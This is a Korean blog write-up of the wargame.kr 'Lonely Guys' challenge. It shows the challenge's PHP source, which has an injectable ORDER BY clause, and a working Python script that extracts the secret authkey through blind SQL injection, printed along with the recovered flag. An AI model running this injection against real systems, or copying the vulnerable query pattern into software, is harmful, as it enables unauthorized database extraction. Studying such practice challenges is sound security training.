Dyrandy

[Wargame.kr] 워게임 19번 challenge 19 lonely_guys 본문

Wargame WriteUp/WarGame.kr

[Wargame.kr] 워게임 19번 challenge 19 lonely_guys

Dyrandy 2018. 6. 27. 22:09

wargame.kr - Lonely Guys

700 point

 

 

일단 문제를 보면 blind sql문제라는 것을 알 수 있다.

 

 

페이지에 접속하면, 외로운 남자들 관리 페이지가 나온다.

 

보면 couple인지 single인지 나온다.

 

소스를 확인해보면,

 

<?php
if (isset($_GET['view-source'
])) {
    
show_source(__FILE__
);
    exit();
}
include(
"./inc.php"
);
include(
"../lib.php"
);
//usleep(200000*rand(2,3));
if(isset($_POST['sort'
])){
 
$sort=$_POST['sort'
];
}else{
 
$sort="asc"
;
}
?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html>
 <head>
  <style type="text/css">
   body {background-color:#eaeafe;}
   #title {text-align:center; font-size:22pt; border:1px solid #cacaca;}
   #reg:hover {color:#557; cursor:pointer;}
   #contents {text-align:center; width:550px; margin: 30px auto;}
   #admin_tbl {width:100%;}
   #admin_tbl thead tr td {border-bottom:1px solid #888; font-weight:bold;}
   #admin_tbl tbody tr td {border-bottom:1px solid #aaa;}
   #admin_tbl #reg {width:200px;}
  </style>
  <script type="text/javascript" src="./jquery.min.js"></script>
  <script type="text/javascript" src="./jquery.color-RGBa-patch.js"></script>
  <script type="text/javascript"> var sort="<?php echo $sort?>"; </script>
  <script type="text/javascript" src="./main.js"></script>
 </head>
 <body>
  <div id="title"> Lonely guys Management page </div>
  <div id="contents">
   <table id="admin_tbl">
    <thead>
     <tr><td>the list of guys that need a girlfriend.</td><td id="reg">reg_single <sub>(sort)</sub></td></tr>
    </thead>
    <tbody>
     
<?php
      mysql_query
("update authkey set authkey='".auth_code('lonely guys')."'"
);
      
$sort mysql_real_escape_string($sort
);
      
$result=mysql_query("select * from guys_tbl order by reg_date $sort"
);
      while(
$row=mysql_fetch_array($result
)){
       echo 
"<tr><td>$row[1]</td><td>$row[2]</td></tr>"
;
      }
     
?>
    </tbody>
   </table>
  </div>
  <div style="text-align:center;">
      <a href="?view-source">view-source</a>
  </div>
 </body>
</html>

 

이렇게 나오는데,

 

핵심은 당연히 mysql_query부분이다.

 

일단 첫번째 쿼리에서는 authkey라는 우리가 필요한 플래그가 담겨있는 table과

column의 값이 나와있다.

 

update TBLNAME set COLUMN1 = ‘VALUE1’ where COLUMN2 = ‘VALUE2’;

 

그리고 다음 쿼리문을 확인 해보면

 

order by가 있다는 것을 알 수 있다.

order by로 blind가 가능하다고 한다.

 

https://www.notsosecure.com/injection-in-order-by-clause/


https://hacktagon.github.io/web/sql_injection/SQL_Injection_mysql_order-by_Persu


http://n3015m.tistory.com/173

 

이 세개의 사이트를 참고해서

내 mysql에서 확인을 해보았다.

 

 

 

 

 

 

잘보면, 틀리면 테이블이 나오고

맞으면 테이블이 안나온다.

 

이게 바로 핵심이다!

 

 

해서 burp로 일단 확인을 해보면 틀리면 나오고

 

 

맞으면 안나온다.

 

해서 python 코드를 짜면

 

#!/usr/bin/env python
import requests
table = "wqertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890{}!@#$%^&*()-=_+[];'<>?/.,~`"

url="http://wargame.kr:8080/lonely_guys/index.php"

print "1. Length_Of_Database: "

for i in range(100):
        data = {"sort": ", (select 1 from guys_tbl where 1=1 and length(database())="+str(i)+")"}

        res=requests.post(url, data=data)
        if 'michael' not in res.text:
                print i
                dblen = i
                break

#print "2. DataBase_Name"

#db =""

#for i in range(dblen+1):
#       for j in table:
#               data = {"sort": ", (select 1 from guys_tbl where 1=1 and ascii(substr((select database()), "+str(i)+", 1)) = "+str(ord(j))+")"}

#               res=requests.post(url, data=data)

#               if 'michael' not in res.text:
#                       db+=j
                        #print db
#                       break

#print db
print "2. Length_Of_Key"

for i in range(100):
        data = {"sort": ", (select 1 from guys_tbl where (select length(authkey)="+str(i)+" from authkey))"}
        res=requests.post(url, data=data)
        if 'michael' not in res.text:
                key_length = i
                print i
                break


key = ""

print "3. Key_Value"

for i in range(key_length+1):
        for j in table:
                data = {"sort": ", (select 1 from guys_tbl where (select ascii(substr(authkey, "+str(i)+", 1)) from authkey) = "+str(ord(j))+")"}

                res=requests.post(url, data=data)

                if 'michael' not in res.text:
                        key += j
                        print key
                        break

 

이렇게 작성해서 돌려보면

 

 

 

1fba947bd3a3cfd799ad5bf8b48d6aac1564624d

 

Comments